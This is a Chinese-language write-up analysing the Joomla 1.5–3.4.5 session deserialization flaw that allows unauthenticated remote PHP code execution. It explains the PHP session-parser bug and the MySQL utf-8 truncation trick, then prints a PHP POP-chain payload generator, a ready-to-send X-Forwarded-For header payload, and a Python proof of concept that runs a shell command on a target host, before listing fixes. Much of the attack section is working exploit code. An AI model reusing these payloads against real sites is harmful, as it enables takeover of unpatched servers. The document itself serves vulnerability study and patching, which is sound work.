Joomla物件注入漏洞分析
漏洞簡介
jooomla 1.5 到 3.4.5 的所有版本中存在反序列化物件造成物件注入的漏洞,漏洞利用無須登入,直接在前臺即可執行任意PHP程式碼。Joomla 安全團隊緊急釋出了 Joomla 3.4.6 版本,修復了這個高危 0day 漏洞。
漏洞原理
漏洞存在於反序列化session的過程中,我們可以控制session的值,而且沒有過濾我們構造的語句,通過mysql截斷原理,在把session序列化值存入到資料中的時候截斷了資料,造成原來的session無法正常解析,而通過注入|符號,利用sesseion處理漏洞機制的缺陷,導致我們構造的session序列化值能正常反序列化執行。
漏洞詳解
在libraries/joomla/session/session.php檔案中,joomla將HTTP_USER_AGENT和HTTP_X_FORWARDED_FOR直接存入到了session中
protected function _validate($restart = false) { // Allow to restart a session if ($restart) { $this->_state = 'active'; $this->set('session.client.address', null); $this->set('session.client.forwarded', null); $this->set('session.client.browser', null); $this->set('session.token', null); } // Check if session has expired if ($this->_expire) { $curTime = $this->get('session.timer.now', 0); $maxTime = $this->get('session.timer.last', 0) + $this->_expire; // Empty session variablesif ($maxTime < $curTime) { $this->_state = 'expired'; return false; } } // Record proxy forwarded for in the session in case we need it later if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $this->set('session.client.forwarded', $_SERVER['HTTP_X_FORWARDED_FOR']); } // Check for client address if (in_array('fix_adress', $this->_security) && isset($_SERVER['REMOTE_ADDR'])) { $ip = $this->get('session.client.address'); if ($ip === null) { $this->set('session.client.address', $_SERVER['REMOTE_ADDR']); } elseif ($_SERVER['REMOTE_ADDR'] !== $ip) { $this->_state = 'error'; return false; } } // Check for clients browser if (in_array('fix_browser', $this->_security) && isset($_SERVER['HTTP_USER_AGENT'])) { $browser = $this->get('session.client.browser'); if ($browser === null) { $this->set('session.client.browser', $_SERVER['HTTP_USER_AGENT']); } elseif ($_SERVER['HTTP_USER_AGENT'] !== $browser) { // @todo remove code: $this->_state = 'error'; // @todo remove code: return false; } } return true; }
從php手冊定義可以看出read()、write()方法傳進和傳出的引數會分別自動進行序列化和反序列化,這一部分的序列化操作由PHP核心完成。而且session儲存引擎實現的過程中都沒有對session的value值進行安全處理,直接就進行操作了。從joomla的配置檔案configuration.php的檔案中的$session_handler = 'database' 可以知道session預設的儲存方式是儲存到資料庫中。
造成這個漏洞可行性的有兩個關鍵點:
- joomla中session儲存的格式是:鍵名 + 豎線 + 經過 serialize() 函式反序列處理的值 ,當用php(PHP <= 5.6.13)處理器處理session的時候有一個bug,如果有多個key->value的session的時候,第一個解析不正確,會繼續往下一個的key->value進行解析。其儲存格式是,具體參考 https://github.com/80vul/phpcodz/blob/master/research/pch-013.md
- 另一個關鍵點是如果資料庫編碼是utf-8的時候,插入資料庫的時候利用"%F0%9D%8C%86"字元可以將mysql中utf-8的欄位截斷了。這個參考當時爆出來的xss漏洞。所以只要網站的php版本的低於5.6.13就滿足條件,造成漏洞。我們能控制的只是session資料中的一個字串,正常不會造成漏洞,但是我們通過注入一個|,然後配合php的bug就能成功反序列化我們構造的物件。
資料庫正常的session
__default|a:8:{s:15:"session.counter";i:1;s:19:"session.timer.start";i:1450278583;s:18:"session.timer.last";i:1450278583;s:17:"session.timer.now";i:1450278583;s:22:"session.client.browser";s:72:"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0";s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";b:0;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";a:2:{i:0;i:1;i:1;i:9;}s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:16:"com_mailto.links";a:1:{s:40:"bfd1c1c06565573019854ec4292eb5dc7d87128e";O:8:"stdClass":2:{s:4:"link";s:66:"http://localhost/cms/Joomla_3.4.4/index.php/4-about-your-home-page";s:6:"expiry";i:1450278584;}}}
通過構造的exp
xxx|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}ð
注入到session資料庫中的資料
__default|a:8:{s:15:"session.counter";i:1;s:19:"session.timer.start";i:1450278674;s:18:"session.timer.last";i:1450278674;s:17:"session.timer.now";i:1450278674;s:22:"session.client.browser";s:72:"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0";s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";b:0;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";a:2:{i:0;i:1;i:1;i:9;}s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:16:"com_mailto.links";a:1:{s:40:"bfd1c1c06565573019854ec4292eb5dc7d87128e";O:8:"stdClass":2:{s:4:"link";s:66:"http://localhost/cms/Joomla_3.4.4/index.php/4-about-your-home-page";s:6:"expiry";i:1450278674;}}}405:"xxx|O:21:"JDatabaseDriverMysqli":22:{s:4:"name";s:6:"mysqli";s:12:"\0\0\0nameQuote";s:1:"`";s:11:"\0\0\0nullDate";s:19:"0000-00-00 00:00:00";s:26:"
由於我們注入到資料庫的資料截斷了原本在就在session資料庫中的資料(xff或ua注入的seesion值會插入到原本session資料中,從上面給出的session也可以知道4個截斷符號和後面的字元都沒有了),使得__default這個健在解析所對應的值,無法正確解析,然後php session解析器不會銷燬session並退出,而是繼續尋找下一個key->value進行解析,所以導致我們構造的session序列化值能正常反序列,造成物件注入。
EXP構造
POP 即面向屬性程式設計,POP 鏈的構造是尋找程式當前環境中已經定義了或者能夠動態載入的物件中的屬性(函式方法),將一些可能的呼叫組合在一起形成一個完整的、具有目的性的操作。在joomla中找到了兩個類用來構造rop鏈
JDatabaseDriverMysqli
SimplePie
在libraries\joomla\database\driver\mysqli.php檔案中包含JDatabaseDriverMysqli,其中有一個魔術方法
public function __destruct() { $this->disconnect(); }
這個方法在類呼叫結束後會自動呼叫,也就是會執行disconnect的函式。跟進disconnect的函式
public function disconnect() { // Close the connection. if ($this->connection) { foreach ($this->disconnectHandlers as $h) { call_user_func_array($h, array( &$this)); } mysqli_close($this->connection); } $this->connection = null; }
函式呼叫了call_user_func_array這個回撥函式 ,第一個引數可以構造eval,然而我們無法控制第二個引數,所以無法構造成eval這個的後門。但是我們控制第一個引數,就可以繼續呼叫物件,這裡呼叫SimplePie類物件,和它的init方法組成一個回撥函式。跟進SimplePie的init方法
function init() { // Check absolute bare minimum requirements. if ((function_exists('version_compare') && version_compare(PHP_VERSION, '4.3.0', '<')) || !extension_loaded('xml') || !extension_loaded('pcre')) { return false; } // Then check the xml extension is sane (i.e., libxml 2.7.x issue on PHP < 5.2.9 and libxml 2.7.0 to 2.7.2 on any version) if we don't have xmlreader. elseif (!extension_loaded('xmlreader')) { static $xml_is_sane = null; if ($xml_is_sane === null) { $parser_check = xml_parser_create(); xml_parse_into_struct($parser_check, '<foo>&</foo>', $values); xml_parser_free($parser_check); $xml_is_sane = isset($values[0]['value']); } if (!$xml_is_sane) { return false; } } if (isset($_GET[$this->javascript])) { SimplePie_Misc::output_javascript(); exit; } // Pass whatever was set with config options over to the sanitizer. $this->sanitize->pass_cache_data($this->cache, $this->cache_location, $this->cache_name_function, $this->cache_class); $this->sanitize->pass_file_data($this->file_class, $this->timeout, $this->useragent, $this->force_fsockopen); if ($this->feed_url !== null || $this->raw_data !== null) { $this->data = array(); $this->multifeed_objects = array(); $cache = false; if ($this->feed_url !== null) { $parsed_feed_url = SimplePie_Misc::parse_url($this->feed_url); // Decide whether to enable caching if ($this->cache && $parsed_feed_url['scheme'] !== '') { $cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc'); } // If it's enabled and we don't want an XML dump, use the cache
這邊呼叫了兩個call_user_func,那可以把第二個call_user_func的第一個引數$this->cache_name_function賦值為assert, 第二個引數可以賦值為我們想到的程式碼,就可以造成任意程式碼執行的漏洞。
<?php class JSimplepieFactory { } class JDatabaseDriverMysql { } class SimplePie { var $sanitize; var $cache; var $cache_name_function; var $javascript; var $feed_url; function __construct() { $this->feed_url = "phpinfo();JFactory::getConfig();exit;"; $this->javascript = 9999; $this->cache_name_function = "assert"; $this->sanitize = new JDatabaseDriverMysql(); $this->cache = true; } } class JDatabaseDriverMysqli { protected $a; protected $disconnectHandlers; protected $connection; function __construct() { $this->a = new JSimplepieFactory(); $x = new SimplePie(); $this->connection = 1; $this->disconnectHandlers = [ [$x, "init"], ]; } } $a = new JDatabaseDriverMysqli(); echo serialize($a);
構造的時候有個問題,預設情況下SimplePie是沒有定義的,所以在呼叫SimplePie之前先new了一個JSimplepieFactory物件,因為JSimplepieFactory物件在載入時會呼叫import函式將SimplePie匯入到當前工作環境:
在library/joomla/session/storage/database.php,read()方法中
public function read($id) { // Get the database connection object and verify its connected. $db = JFactory::getDbo(); try { // Get the session data from the database table. $query = $db->getQuery(true) ->select($db->quoteName('data')) ->from($db->quoteName('#__session')) ->where($db->quoteName('session_id') . ' = ' . $db->quote($id)); $db->setQuery($query); $result = (string) $db->loadResult(); $result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result); return $result; } catch (Exception $e) { return false; } } $result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result);
所以我們的將我們構造好生成的exp中的chr(0)*chr(0)替換成\0\0\0,最後加上截斷字元,加上鍵值和|符號,然後利用User-Agent或者X-Forwarded-For頭髮送http包寫入到資料庫中,再一次用相同cookie訪問網站就成功執行了exp。執行phpinfo()的exp如下:
X-Forwarded-For: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}ð
exploit-db上生成任意命令程式碼的python指令碼
''' Simple PoC for Joomla Object Injection. Gary @ Sec-1 ltd http://www.sec-1.com/ ''' import requests # easy_install requests def get_url(url, user_agent): headers = { 'User-Agent': user_agent } cookies = requests.get(url,headers=headers).cookies for _ in range(3): response = requests.get(url, headers=headers,cookies=cookies) return response def php_str_noquotes(data): "Convert string to chr(xx).chr(xx) for use in php" encoded = "" for char in data: encoded += "chr({0}).".format(ord(char)) return encoded[:-1] def generate_payload(php_payload): php_payload = "eval({0})".format(php_str_noquotes(php_payload)) terminate = '\xf0\xfd\xfd\xfd'; exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";''' injected_payload = "{};JFactory::getConfig();exit".format(php_payload) exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload) exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate return exploit_template pl = generate_payload("system('touch /tmp/fx');") print get_url("http://172.31.6.242/", pl)
漏洞修復
修改 joomla 根目錄 configuration.php ,把 $session_handler 的值改為none,會將session儲存引擎設為檔案系統。
把 PHP 版本升到到 5.6.13 或更高的版本。
更新joomla到3.4.6版本
參考連結:
http://drops.wooyun.org/papers/11371
http://drops.wooyun.org/papers/11330
http://bobao.360.cn/learning/detail/2501.html
https://github.com/80vul/phpcodz/blob/master/research/pch-013.md